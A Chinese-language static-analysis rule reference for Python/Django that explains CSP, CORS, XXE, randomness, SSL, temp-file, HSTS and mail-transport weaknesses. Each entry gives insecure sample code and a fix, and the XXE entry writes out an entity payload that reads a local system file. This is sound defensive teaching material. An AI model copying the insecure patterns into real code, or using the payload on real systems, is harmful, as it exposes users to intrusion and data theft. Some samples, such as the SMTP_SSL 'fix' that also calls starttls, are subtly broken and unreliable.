建议	为了确保应用程序不易遭受 MIME 探查攻击，程序员可以： 1. 在应用程序的 settings.py 文件中，为所有页面全局设置 HTTP 标头 X-Content-Type-Options: nosniff。 2. 仅对可能包含用户可控制内容的那些页面设置需要的标头。 要全局设置 HTTP 标头，请在 settings.py 中将 SECURE_CONTENT_TYPE_NOSNIFF 设置为 True。Django 1.8+ 和 django-secure 插件中提供此设置： ... MIDDLEWARE_CLASSES = (... 'django.middleware.security.SecurityMiddleware', ...) ... SECURE_CONTENT_TYPE_NOSNIFF = True ... 要在每个页面上手动设置标头： def view_method(request) ... res = HttpResponse() ... res['X-Content-Type-Options'] = 'nosniff' return res 此标头对于防止某些攻击类至关重要，不应删除此标头或将其设置为任何其他值。
CWE	CWE ID 554
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**HTML5:Misconfigured Content Security Policy**
默认严重性	3.0
摘要	配置不正确的内容安全策略（CSP）会将应用程序暴露在客户端威胁中，包括 cross-site scripting、cross-frame scripting 和 cross-site request forgery。
解释	内容安全策略（CSP）是声明性安全标头，允许开发人员规定站点可从哪些域中加载内容，或呈现在 Web 浏览器中时向哪些域发起连接。它提供额外的安全层以避免重大漏洞，如 Cross-Site Scripting、Clickjacking、Cross-origin Access 等，此外还有输入验证以及代码中的允许列表检验。但配置不恰当的标头无法提供此额外的安全层。该策略是在十五条指令的帮助下定义的，包括八条控制资源访问的指令，即：script-src、img-src、object-src、style_src、font-src、media-src、frame-src、connect-src。 其中的每个指令均将一个源列表作为值，指定站点可访问的域，以使用该指令涵盖的功能。开发人员可使用通配符 * 表示所有或部分数据源。所有的指令都不是强制性的。浏览器允许对未列出的指令使用所有的数据源，或者允许从可选 default-src 指令中衍生其值。此外，此标头的规范也在不断发展。在 Firefox V23 和 IE V10 以前，它作为 X-Content-Security-Policy 实现，在 Chrome V25 以前，它作为 X-Webkit-CSP 实现。这两个名称现在均已弃用，目前使用的标准名称为 Content Security Policy。鉴于指令数、两个弃用的备用名称以及在单个标头中相同标头和重复指令多次出现的处理方式，开发人员很有可能会错误地配置此标头。 请考虑以下错误配置方案： - 带 unsafe-inline 或 unsafe-eval 的指令背离了 CSP 的初衷。 - 设置了 script-src 指令，但未配置脚本 nonce。 - 设置了 frame-src，但未配置 sandbox。 - 此标头的多个实例允许出现在同一响应中。开发团队和安全团队可能都设置了标头，但其中一个团队可能使用了一个弃用的名称。如果不存在具有最新名称（即，Content Security Policy）的标头，则使用弃用标头也没问题，但如果存在名为 content-security-header 的策略，则应忽略弃用的标头。旧版本只能理解弃用的名称，因此，为了获得所需的支持，响应包括具有全部三个名称的相同策略非常重要。 - 如果指令在同一个标头实例中重复出现，则会忽略所有后续的重复。 例 1：以下 django-csp 配置使用 unsafe-inline 和 unsafe-eval 不安全指令来支持内联脚本和代码评估： ... MIDDLEWARE_CLASSES = (... 'csp.middleware.CSPMiddleware',

返回目录

	...) ... CSP_DEFAULT_SRC = ("'self'", "'unsafe-inline'", "'unsafe-eval'", 'cdn.example.net') ...
建议	在 CSP 指令中，避免使用 unsafe-inline 和 unsafe-eval，因为它们会背离 CSP 的初衷并为 cross-site scripting 漏洞打开方便之门。 例 2：以下 django-csp 配置允许从服务于页面的主机和“cdn.example.net”中加载资源，但不支持内联脚本： ... MIDDLEWARE_CLASSES = (... 'csp.middleware.CSPMiddleware', ...) ... CSP_DEFAULT_SRC = ("'self'", 'cdn.example.net') ...
CWE	CWE ID 942, CWE ID 1173
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**HTML5:Overly Permissive Content Security Policy**
默认严重性	3.0
摘要	内容安全策略（CSP）配置了过于宽松的策略，可能造成安全风险。
解释	内容安全策略（CSP）是声明性安全标头，使开发人员可以在浏览器中指定允许的安全相关行为，包括可从中检索内容的位置允许列表。它提供额外的安全层以避免重大漏洞，如 Cross-Site Scripting、Clickjacking、Cross-origin Access 等，此外还有输入验证以及代码中的允许列表检验。但配置不恰当的标头无法提供此额外的安全层。该策略是在 15 条指令的帮助下定义的，包括 8 条控制资源访问的指令：script-src、img-src、object-src、style_src、font-src、media-src、frame-src、connect-src。这 8 条指令将源列表作为值，该值指定站点可访问的域，以使用该指令涵盖的功能。开发人员可使用通配符 * 表示所有或部分数据源。其他源列表关键字（例如 'unsafe-inline' 和 'unsafe-eval'）提供了对脚本执行的更精细控制，但可能有害。所有的指令都不是强制性的。浏览器允许对未列出的指令使用所有的数据源，或者允许从可选 default-src 指令中衍生其值。此外，此标头的规范也在不断发展。在 Firefox V23 和 IE V10 以前，它作为 X-Content-Security-Policy 实现，在 Chrome V25 以前，作为 X-Webkit-CSP 实现。这两个名称现在均已弃用，目前使用的标准名称为 Content Security Policy。鉴于指令数、两个弃用的备用名称以及在单个标头中相同标头和重复指令多次出现的处理方式，开发人员很有可能会错误地配置此标头。 在这种情况下，开发人员使用过度宽松的策略配置了 *-src 指令，如 *。 例 1：以下 django-csp 设置可设置过度宽松且不安全的 default-src 指令： ... MIDDLEWARE_CLASSES = (... 'csp.middleware.CSPMiddleware', ...) ... CSP_DEFAULT_SRC = ("'self'", '*') ...
建议	对于 CSP 源列表值，请使用受信任域的显式列表，而不要使用常规通配符 *。另外，避免使用任何允许潜在不安全脚本行为的指令，例如 'unsafe-inline' 或 'unsafe-eval'。 例 2：以下 django-csp 设置可为 default-src 指令设置特定域： ... MIDDLEWARE_CLASSES = (

返回目录

	... 'csp.middleware.CSPMiddleware', ...) ... CSP_DEFAULT_SRC = ("'self'", 'cdn.example.net') ...
CWE	None
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**HTML5:Overly Permissive CORS Policy**
默认严重性	3.0
摘要	在 X（文件） 的第 N 行中，程序会定义过于宽松的跨源资源共享 (CORS) 策略。程序会定义过于宽松的跨源资源共享 (CORS) 策略。
解释	在 HTML5 以前的版本中，Web 浏览器会强制实施同源策略，以确保在使用 JavaScript 访问 Web 页面内容时，JavaScript 和 Web 页面必须来自同一个域。若不采取同源策略，恶意网站便可以使用客户端凭证来运行从其他网站加载敏感信息的 JavaScript，并对这些信息进行提炼，然后将其返回给攻击者。如果定义了名为 Access-Control-Allow-Origin 的新 HTTP 标头，HTML5 就支持使用 JavaScript 跨域访问数据。通过此标头，Web 服务器可定义允许使用跨源请求访问服务器域的其他域。但是，定义标头时应小心谨慎，如果 CORS 策略过于宽松，恶意应用程序就能趁机采用不当方式与受害者应用程序进行通信，从而导致发生欺骗、数据被盗、转发及其他攻击。 示例 1：以下示例会使用通配符以编程方式指定允许与应用程序进行通信的域。 response.addHeader("Access-Control-Allow-Origin", "*") 将 * 用作 Access-Control-Allow-Origin 头文件的值表明该应用程序的数据可供在任何域上运行的 JavaScript 访问。
建议	请不要使用 * 作为 Access-Control-Allow-Origin 头文件的值。而应该提供可信赖的域的显式列表。 示例 2：下面的 Access-Control-Allow-Origin 标头指定了一个明确可信赖的域。 response.addHeader("Access-Control-Allow-Origin", "www.trusted.com")
CWE	CWE ID 942
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**Improper Resource Shutdown or Release**
默认严重性	3
摘要	Y（文件） 文件第 M 行中发现可能导致拒绝服务攻击。不关闭连接会使服务器容易受到 DoS 攻击，因为资源未正确释放。
解释	攻击者可能会准备恶意的输入数据，导致拒绝服务攻击（DEP 违规和应用程序崩溃）。 Web 服务器网关接口 (WSGI) 是 Web 服务器和 Python Web 应用程序之间通用接口的 Python 规范。该 WSGI 规范是在 PEP 333 和 PEP 3333 中说明的。 PEP 3333 (WSGI) 说明："如果应用程序返回的可迭代对象有 close() 方法，则服务器或网关必须在完成当前请求后调用该方法，无论请求是否正常完成、或者因迭代期间的应用程序错误或浏览器提前断开而提前终止请求。"如果 WSGI Python 应用程序未正确关闭服务器连接，则攻击者可能会导致拒绝服务攻击（DEP 违规和应用程序崩溃）。
建议	关闭所有服务器连接——确保正确关闭所有 WSGI Python 应用程序连接。 如何避免： 如果 WSGI Python 应用程序可迭代对象有 close() 方法，则您必须在程序的所有执行路径上调用它。您可为这些可迭代对象使用 Python 的 contextlib 模块。
CWE	CWE ID 404
OWASP2017	None

返回目录

漏洞名称	**Improper Restriction of XXE Ref**
默认严重性	4
摘要	YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 加载和解析 XML。
解释	应用程序将解析和替换用户控制的 XML 文档中的 DTD 实体引用，这使攻击者能制作 XML 文档来读取任意服务器文件。此 XML 文档可能包含 XML 实体引用，引用指向任意本地文件的嵌入式 DTD 实体定义。这使攻击者能够检索服务器上的任意系统文件。 攻击者可能上传包含 DTD 声明的 XML 文档，特别是引用服务器磁盘上的本地文件的实体定义，例如 <!ENTITY xxe SYSTEM "file:///c:/boot.ini">。然后，攻击者可能添加一个再引用回该实体定义的 XML 实体引用，例如 &xxe; 。然后如果已解析的 XML 文档返回用户，结果中将包含敏感的系统文件的内容。 这是 XML 解析器造成的，因其配置是自动解析 DTD 声明并分解实体引用，而不是完全禁用 DTD 和外部引用。
建议	通用指南： 尽量避免直接处理用户输入。 如果确实需要接收用户的 XML，请确保 XML 解析器受到限制和约束。 特别是禁用 DTD 解析和实体解析时。在服务器上应用严格的 XML 模式，并相应地对输入 XML 进行验证。 具体建议： 使用安全的 XML 解析器，禁用 DTD 解析和实体分解。 不要启用 DTD 解析或实体解析。
CWE	CWE ID 611
OWASP2017	A4-XML External Entities (XXE)

返回目录

漏洞名称	**Information Exposure Through an Error Message**
默认严重性	3
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法处理了一个异常或 runtime 错误 XX（元素）。在处理代码时所产生的异常过程中，应用程序将异常详情暴露给 Y（文件） 文件第 M 行 YYY（方法） 方法中的 YY（元素）。
解释	暴露与应用程序的环境、用户或关联数据（例如，堆栈跟踪）相关的详情可能使攻击者找到其他漏洞，从而帮助攻击者发起攻击。这也可能泄漏敏感数据，例如，密码或数据库字段。 应用程序以不安全的方式处理异常，包括直接在错误消息中显示原始详情。可能出现此问题的情况是：不处理异常；直接将异常打印到输出或文件；显式返回异常对象；或者配置后。这些异常详情中可能包含因发生 runtime 错误而泄漏给用户的敏感信息。
建议	不要在输出中或对用户直接暴露异常数据，而要采用返回信息性的一般错误消息。将异常详情记录到专用的日志机制。 任何可能引发异常的方法都应该封装在异常处理块中以： 显式处理预计的异常。 使用一个默认解决方案来显式处理意外异常。 配置一个全局处理程序以避免未处理的错误离开应用程序。
CWE	CWE ID 209
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Insecure Deployment:Non Production Ready**
默认严重性	3.0
摘要	应用程序包含一个不应该在生产环境中部署的组件。
解释	Django 应用程序显示 static files 应用程序的 serve 视图，而该应用程序不应该部署在生产环境中。从 Django 文档来看: “static files 工具主要用于帮助在生产环境中成功部署静态文件。这通常意味着需要一台独立、专用的静态文件服务器，如果在本地开发这会是很大一笔费用。因此，staticfiles 应用程序附带了一个快速更新的辅助视图，可用来在开发过程中本地提供文件。 此视图只有在 DEBUG 为 True 时才有效。 因为此视图效率非常低，而且可能不安全。此视图只用于本地开发，不能用于生产。”
建议	请勿使用 django.views.static.serve() 来提供静态文件。而是要使用托管 Django 应用程序的 Web 服务器、专用服务器或 CDN 服务。 有关操作说明，请查看 Django Managing static files 文档。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**Insecure Deployment:Predictable Resource Name**
默认严重性	3.0
摘要	如果对敏感资源使用可预测的名称，就会在应用程序发现过程中为攻击者提供帮助。
解释	一般而言，包含敏感信息或提供特权功能的应用程序资源会面临更大的被攻击风险。在勘测阶段，攻击者会试图发现此类文件和目录。如果对此类资源使用可预测的命名方案，则会使攻击者更容易找到它们。处理身份认证、管理任务或私人信息处理等敏感功能的所有应用程序资源必须予以充分保护以免被发现。 例 1：在以下示例中，admin 应用程序部署在了可预测的 URL 中： from django.conf.urls import patterns from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', ... url(r'^admin/', include(admin.site.urls)), ... 负责存储数据的资源必须与实现应用程序功能的资源分开。在创建临时或备用资源时，程序员必须小心谨慎。
建议	改变资源位置，使攻击者无法轻易预测到。 例 2：在以下示例中，admin 应用程序部署在了不可预测的 URL 中： from django.conf.urls import patterns from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', ... url(r'^myappcontrol/', include(admin.site.urls)), ...
CWE	CWE ID 340
OWASP2017	None

返回目录

漏洞名称	**Insecure Randomness**
默认严重性	2.0
摘要	由 XX（函数） 实施的随机数生成器不能抵挡加密攻击。标准的伪随机数值生成器不能抵挡各种加密攻击。

解释	在对安全性要求较高的环境中，使用能够生成可预测值的函数作为随机数据源，会产生 Insecure Randomness 错误。
	在这种情况下，生成弱随机数的函数是 XX（函数），它位于 X（文件） 的第 N 行。
	电脑是一种具有确定性的机器，因此不可能产生真正的随机性。伪随机数生成器 (PRNG) 近似于随机算法，始于一个能计算后续数值的种子。
	PRNG 包括两种类型：统计学的 PRNG 和密码学的 PRNG。统计学的 PRNG 提供很多有用的统计属性，但其输出结果很容易预测，因此容易复制数值流。在安全性所依赖的生成值不可预测的情况下，这种类型并不适用。密码学的 PRNG 生成的输出结果较难预测，可解决这一问题。为保证值的加密安全性，必须使攻击者根本无法、或几乎不可能鉴别生成的随机值和真正的随机值。通常情况下，如果并未声明 PRNG 算法带有加密保护，那么它很可能就是统计学的 PRNG，因此不应在对安全性要求较高的环境中使用，否则会导致严重的漏洞（如易于猜测的密码、可预测的加密密钥、Session Hijacking 和 DNS Spoofing）。
	示例： 下面的代码可利用统计学的 PRNG 为购买产品后仍在有效期内的收据创建一个 URL。
	`def genReceiptURL(self,baseURL):`
	`randNum = random.random()`
	`receiptURL = baseURL + randNum + ".html"`
	`return receiptURL`
	这段代码使用 rand() 函数为它生成的收据页面生成“唯一”的标识符。由于 rand() 是统计学的 PRNG，攻击者很容易猜到其生成的字符串。尽管收据系统的底层设计并不完善，但若使用不会生成可预测收据标识符的随机数生成器（如密码学的 PRNG），就会更安全些。

建议	当不可预测性至关重要时，如大多数对安全性要求较高的环境都采用随机性，这时可以使用密码学的 PRNG。不管选择了哪一种 PRNG，都要始终使用带有充足熵的数值作为该算法的种子。（切勿使用诸如当前时间之类的数值，因为它们只提供很小的熵。）
CWE	CWE ID 338
OWASP2017	None

返回目录

漏洞名称	**Insecure Randomness:Hardcoded Seed**
默认严重性	2.0
摘要	X（文件） 中的 XX（方法） 函数传递了种子的常量整数值。可生成随机或伪随机值的传递种子的函数不应使用常量整数参数进行调用。可生成随机或伪随机值的传递种子的函数不应使用常量整数参数进行调用。
解释	可生成伪随机值的传递种子的函数不应使用常量整数参数进行调用。如果伪随机数生成器使用特定值作为种子，则返回的值可预测。 示例 1：伪随机数生成器生成的值在前两个块中是可预测的，因为这两个块以同一种子开始。 ... import random random.seed(123456) print "Random: %d" % random.randint(1,100) print "Random: %d" % random.randint(1,100) print "Random: %d" % random.randint(1,100) random.seed(123456) print "Random: %d" % random.randint(1,100) print "Random: %d" % random.randint(1,100) print "Random: %d" % random.randint(1,100) ... 在此示例中，PRNG 设置了相同的种子，因此，在为伪随机数生成器 (random.seed(123456)) 设置种子的调用后，对 randint() 的每次调用都将会导致按相同的顺序显示相同的输出。例如，输出可能与以下内容相似： Random: 81 Random: 80 Random: 3 Random: 81 Random: 80 Random: 3 这些结果并不是随机的。
建议	使用硬件型随机性源设置种子的加密 PRNG，比如环形振子、磁盘驱动器定时、热噪声或放射性衰变。如果需要通过加密方式保护伪随机数生成器，请使用 /dev/random。
CWE	CWE ID 336
OWASP2017	None

返回目录

漏洞名称	**Insecure Randomness:User-Controlled Seed**
默认严重性	3.0
摘要	X（文件） 中的 XX（方法） 函数传递了种子的受污染值。生成了随机或伪随机值并传递了种子的函数不应使用受污染参数进行调用。生成了随机或伪随机值并传递了种子的函数不应使用受污染参数进行调用。
解释	可生成伪随机值的函数（如 random.randint()）；不应使用受污染参数进行调用。否则攻击者可以控制用作伪随机数生成器种子的值，从而能够预测由伪随机数生成器调用产生的值（通常为整数）的顺序。
建议	使用硬件型随机性源设置种子的加密 PRNG，比如环形振子、磁盘驱动器定时、热噪声或放射性衰变。如果需要高熵种子伪随机数生成器，请使用 /dev/random。
CWE	CWE ID 335
OWASP2017	None

返回目录

漏洞名称	**Insecure Randomness:Weak Entropy Source**
默认严重性	3.0
摘要	由 XX（函数） 实施的随机或伪随机数值生成器依赖于一个弱熵源。随机或伪随机数值生成器依赖于一个弱熵源。
解释	缺少供随机或伪随机数值生成器使用的正确熵源可能会导致拒绝服务或生成可预测的数字序列。如果随机或伪随机数值生成器使用耗尽的熵源，程序可能会暂停或甚至崩溃，导致拒绝服务。或者，随机或伪随机数值生成器可能会生成可预测的数字。弱随机数源可能会导致出现漏洞，如容易猜对的临时密码、可预测的密钥、会话劫持和 DNS 欺骗。 例 1： 以下代码使用系统时钟作为熵源： ... import time import random random.seed(time.time()) ... 因为系统时钟生成的是可预测的值，因此它不是理想的熵源。这点同样适用于其他非硬件型随机性源，包括系统/输入/输出缓冲区、用户/系统/硬件/网络序列号或地址，以及用户输入。
建议	避免使用非硬件型随机性源。尽可能使用硬件型随机性源，比如环形振子、磁盘驱动器定时、热噪声或放射性衰变。 在 Unix 之类的平台上，字符特殊文件 /dev/random 和 /dev/urandom（自 Linux 1.3.30 起开始出现）提供了一个与内核的随机数值生成器的接口。随机数值生成器将来自设备驱动程序和其他来源的环境噪声汇集成一个熵池。当熵池为空时，从 /dev/random 的数据读取将会阻塞，直到汇集了更多环境噪声。但是，从 /dev/urandom 的数据读取将不会阻塞，以等待更多熵。因此，如果熵池中没有足够的熵，返回的值理论上易受到针对驱动程序使用的算法的加密攻击。总是首选使用 /dev/random，而非 /dev/urandom。
CWE	CWE ID 331
OWASP2017	None

返回目录

漏洞名称	**Insecure SSL:Server Identity Verification Disabled**
默认严重性	3.0
摘要	在进行 SSL 连接时，通过 X（文件） 中的 XX（函数） 建立的连接不验证服务器证书。这使得应用程序易受到中间人攻击。当进行 SSL 连接时，服务器身份验证处于禁用状态。
解释	在一些使用 SSL 连接的库中，可以禁用服务器证书验证。这相当于信任所有证书。 例 1：此应用程序在默认情况下不会验证服务器证书： ... import ssl ssl_sock = ssl.wrap_socket(s) ... 当尝试连接到有效主机时，此应用程序将随时接受颁发给“hackedserver.com”的证书。此时，当服务器被黑客攻击发生 SSL 连接中断时，应用程序可能会泄漏用户敏感信息。
建议	当进行 SSL 连接时，不要忘记服务器验证检查。根据所使用的库，一定要验证服务器身份并建立安全的 SSL 连接。 例 2：此应用程序明确地验证服务器证书。 ... ssl_sock = ssl.wrap_socket(s, ca_certs="/etc/ca_certs_file", cert_reqs=ssl.CERT_REQUIRED) ...
CWE	CWE ID 297
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Insecure Temporary File**
默认严重性	2.0
摘要	调用 XX（函数） 会导致 insecure temporary file，使得应用程序或系统数据易受攻击。创建和使用 insecure temporary file 会容易使应用程序和系统数据受到攻击。

解释	应用程序需要非常频繁地使用临时文件，因此存在许多不同的机制来创建这些临时文件。而多数函数都很容易受到各种攻击。
	在这种情况下，用于创建临时文件的潜在 dangerous function 为 X（文件） 中第 N 行的 XXX（函数）。
	示例：以下代码使用一个临时文件，在它被处理之前用来存储从网络上收集到的中间数据。
	...
	try:
	tmp_filename = os.tempnam()
	tmp_file = open(tmp_filename, 'w')
	data = s.recv(4096)
	while True:
	more = s.recv(4096)
	tmp_file.write(more)
	if not more:
	break
	except socket.timeout:
	errMsg = "Connection timed-out while connecting"
	self.logger.exception(errMsg)
	raise Exception
	...
	这种其他情况下无法标记的代码很容易受到多种不同形式的攻击，因为它靠一种不安全的方法来创建临时文件。以下部分主要描述了由该函数和其他函数引入的漏洞。大部分与临时文件创建有关的突出安全问题已经在基于 Unix 的操作系统上屡见不鲜，但是 Windows 应用程序同样存在着这样的风险。
	不同系统之间使用的方法和行为可能各不不同，但是被引入的基本风险则相差不大。针对创建临时文件的安全方法，要了解有关安全的核心语言函数的信息及建议，请查看“建议”部分。
	对于旨在帮助创建临时文件的函数，可以根据它们是仅提供文件名还是实际打开新文件分成两个组。
	第 1 组 —“唯一的”文件名：
	旨在帮助创建临时文件的第一组函数，可为程序随后打开的新临时文件生成唯一的文件名。这组函数在文件名的选择方面很可能会在底层碰到 race condition。虽然函数可以保证在选择文件时其文件名是唯一的，但是还无法防止其他进程或攻击者在选择文件后，而应用程序尚

返回目录

	未尝试打开该文件前的这段时间内创建一个同名文件。不止是由其他程序调用相同函数所引发的合法冲突，攻击者还非常有可能创建一个恶意的冲突，因为这些函数创建的文件名没有进行充分的随机化，使其难以被攻击者猜测。 如果使用选定的名称创建文件，那么根据打开方式的不同，文件现有的内容或访问权限可能会保持不变。如果文件的现有内容是恶意的，攻击者可能会在应用程序从临时文件中读取数据时向程序中注入危险数据。如果攻击者预先创建了一个能轻松获取访问权限的文件，那么可能会访问、修改或破坏应用程序存储在临时文件里的数据。在基于 Unix 的系统上，如果攻击者预先创建了一个作为另一个重要文件链接的文件，则可能会引发更加严重的攻击。然后，如果应用程序被截短或向文件中写入数据，那么它可能会在不知不觉中帮助攻击者，为其执行各种恶意操作。如果程序再使用提高了的权限运行，那会使问题变得更加严重。 最后，最好通过使用 os.O_CREAT 和 os.O_EXCL 标记调用 open() 来打开文件，如果该文件已存在，则操作将失败，从而可防止上述攻击类型。然而，如果攻击者可以准确预测一系列临时文件名，那么就可以阻止应用程序打开必要的临时存储空间，从而导致拒绝服务 (DoS) 攻击。如果仅从一小部分随机数中选择由这些函数生成的文件名，那么会很容易发动这种类型的攻击。 第 2 组 —“唯一的”文件: 第二组函数通过生成唯一的文件名且打开这个文件，来解决一些与临时文件有关的安全问题。这一组包括 tmpfile() 等函数。 tmpfile() 样式的函数可以构造唯一的文件名，并在传递了 "wb+" 标志的情况下能够按照与 open() 函数相同的方式（即，作为在读/写模式下的二进制文件）打开文件。如果文件已存在，tmpfile() 将把文件的大小缩小为 0，也许能缓解前面提到的安全问题（唯一文件名的选择与随后打开所选文件之间的 race condition）。然而，该操作显然不能解决函数的安全性问题。首先，攻击者可以预先创建一个能轻松获取访问权限的文件，该文件可能会被用 tmpfile() 函数打开的文件保留。其次，在基于 Unix 的系统上，如果攻击者预先创建了一个文件作为另一重要文件的链接，应用程序可能会使用提高了的权限去截短该文件，这样就能按照攻击者的意愿执行破坏。最后，如果 tmpfile() 创建了一个新文件，那么应用在该文件上的访问权限在不同的操作系统间是不同的，因此，应用程序的数据极易受到攻击，即便是攻击者无法预测要使用的文件名。
建议	在现成提供的函数中，使用 tempfile.mkstemp() 和 tempfile.mkdtemp() 是创建临时文件的最佳选择。这两个函数均能以可达到的最安全的方式创建临时文件。假设该平台正确实现了 os.open() 的 os.O_EXCL 标志，那么在创建文件时将没有竞争条件。文件只能按创建的用户 ID 读取和写入。如果该平台使用权限位来指示文件是否可执行，那么无人可执行该文件。文件描述符不由子进程继承。

返回目录

CWE	CWE ID 377
OWASP2017	None

返回目录

漏洞名称	**Insecure Transport**
默认严重性	4.0
摘要	未将应用程序配置为通过 SSL/TLS 发送 HTTP 重定向。
解释	所有通过 HTTP、FTP 或 gopher 的通信均未经过验证和加密。因此，很容易危及安全。 在默认情况下，Django 不通过 SSL 进行 HTTP 重定向，因此这些重定向连接中的数据会受到威胁，因为他们是通过未加密和未经身份认证的渠道传输的。 例 1：以下代码使用 SecurityMiddleware，但不会将 SECURE_SSL_REDIRECT 显式设置为 True。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ...
建议	应尽可能使用 HTTPS 等安全协议与服务器交换数据。 如果所有的非 SSL 请求应永久重定向到 SSL，则将 SECURE_SSL_REDIRECT 设置为 True。Django 1.8 及以上版本提供此配置属性。如果使用的是早期版本，则可使用 django-secure 中间件插件代替。 例 1：以下代码使用 SecurityMiddleware，并将 SECURE_SSL_REDIRECT 显式设置为 True。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ...

返回目录

	SECURE_SSL_REDIRECT = True ...
CWE	CWE ID 319
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Insecure Transport:HSTS Does Not Include Subdomains**
默认严重性	3.0
摘要	应用程序设置了 HTTP 严格传输安全 (HSTS) 头文件，但未能将此保护应用于子域，从而使攻击者能够通过执行 HTTPS stripping 攻击从子域连接窃取敏感信息。
解释	HTTPS stripping 攻击是一种中间人攻击，攻击者可在所有 HTTP 流量中监视引用 HTTPS 的位置标头和链接，并使用 HTTP 版本予以替换。攻击者保留所有 HTTP 替换版本的列表，以使 HTTPS 请求返回到服务器。所有断开的 HTTP 连接通过 HTTPS 代理连接到了服务器。受害者和攻击者之间的所有流量均通过 HTTP 发送，从而暴露了用户名、密码和其他私人信息，但服务器仍然从攻击者接收预期的 HTTPS 流量，因此一切看似正常。 HTTP 严格传输安全 (HSTS) 是一种安全标头，它指示浏览器在标头自身指定的期间始终连接到通过 SSL/TLS 返回 HSTS 标头的站点。即使用户在浏览器 URL 栏中输入了 http://，通过 HTTP 到服务器的连接还是将自动替换为 HTTPS 版本。
建议	使用 django-secure 插件的 Django 1.8+ 和旧版 Django 可通过以下设置启用 HSTS 标头： ... SECURE_HSTS_SECONDS = 31536000 SECURE_HSTS_INCLUDE_SUBDOMAINS = True ... 将 SECURE_HSTS_INCLUDE_SUBDOMAINS 设置为 True，以便将 HSTS 应用于子域。
CWE	CWE ID 319
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Insecure Transport:HSTS not Set**
默认严重性	3.0
摘要	应用程序未设置 HTTP 严格传输安全 (HSTS) 头文件，这使得攻击者能够通过执行 HTTPS stripping 攻击使用普通 HTTP 连接替换 SSL/TLS 连接并窃取敏感信息。
解释	HTTPS stripping 攻击是一种中间人攻击，攻击者可在所有 HTTP 流量中监视引用 HTTPS 的位置标头和链接，并使用 HTTP 版本予以替换。攻击者保留所有 HTTP 替换版本的列表，以使 HTTPS 请求返回到服务器。所有断开的 HTTP 连接通过 HTTPS 代理连接到了服务器。受害者和攻击者之间的所有流量均通过 HTTP 发送，从而暴露了用户名、密码和其他私人信息，但服务器仍然从攻击者接收预期的 HTTPS 流量，因此一切看似正常。 HTTP 严格传输安全 (HSTS) 是一种安全标头，它指示浏览器在标头自身指定的期间始终连接到通过 SSL/TLS 返回 HSTS 标头的站点。即使用户在浏览器 URL 栏中输入了 http://，通过 HTTP 到服务器的连接还是将自动替换为 HTTPS 版本。
建议	使用 django-secure 插件的 Django 1.8+ 和旧版 Django 可通过以下设置启用 HSTS 标头： ... SECURE_HSTS_SECONDS = 31536000 SECURE_HSTS_INCLUDE_SUBDOMAINS = True ...
CWE	CWE ID 319
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Insecure Transport:Insufficient HSTS Expiration Time**
默认严重性	3.0
摘要	应用程序使用较短的到期时间设置 HTTP 严格传输安全 (HSTS) 头文件，这使得攻击者能够通过执行 HTTPS stripping 攻击使用普通 HTTP 连接替换 HTTPS 连接并窃取敏感信息。
解释	HTTPS stripping 攻击是一种中间人攻击，攻击者可在所有 HTTP 流量中监视引用 HTTPS 的位置标头和链接，并使用 HTTP 版本予以替换。攻击者保留所有 HTTP 替换版本的列表，以使 HTTPS 请求返回到服务器。所有断开的 HTTP 连接通过 HTTPS 代理连接到了服务器。受害者和攻击者之间的所有流量均通过 HTTP 发送，从而暴露了用户名、密码和其他私人信息，但服务器仍然从攻击者接收预期的 HTTPS 流量，因此一切看似正常。 HTTP 严格传输安全 (HSTS) 是一种安全标头，它指示浏览器在标头自身指定的期间始终连接到通过 SSL/TLS 返回 HSTS 标头的站点。即使用户在浏览器 URL 栏中输入了 http://，通过 HTTP 到服务器的连接还是将自动替换为 HTTPS 版本。
建议	使用 django-secure 插件的 Django 1.8+ 和旧版 Django 可通过以下设置启用 HSTS 标头： ... SECURE_HSTS_SECONDS = 31536000 SECURE_HSTS_INCLUDE_SUBDOMAINS = True ... 在设置 HSTS 时，使用 1 年到期时间（31536000 秒）。
CWE	CWE ID 319
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Insecure Transport:Mail Transmission**
默认严重性	3.0
摘要	X（文件） 中的 XX（方法） 方法可以与邮件服务器建立未加密的连接，从而允许攻击者进行中间人攻击以及读取所有邮件传输。通过与邮件服务器建立未加密的连接，允许攻击者进行中间人攻击以及读取所有邮件传输。
解释	通过未加密网络发送的敏感数据容易被任何可拦截网络通信的攻击者读取/修改。 示例 1：以下 SMTP 客户端的配置不正确，未使用 SSL/TLS 与 SMTP 服务器进行通信： session = smtplib.SMTP(smtp_server, smtp_port) session.ehlo() session.login(username, password) session.sendmail(frm, to, content)
建议	大多数现代邮件服务提供商都提供了针对不同端口的加密备选方案，可使用 SSL/TLS 对通过网络发送的所有数据进行加密，或者允许将现有的未加密连接升级到 SSL/TLS。如果可能，请始终使用这些备选方案。 例 2：以下 SMTP 客户端已正确配置为使用 SSL/TLS 与 SMTP 服务器进行通信： session = smtplib.SMTP_SSL(smtp_server, smtp_port) session.ehlo() session.starttls() session.login(username, password) session.sendmail(frm, to, content)
CWE	CWE ID 200
OWASP2017	A6 Security Misconfiguration

返回目录

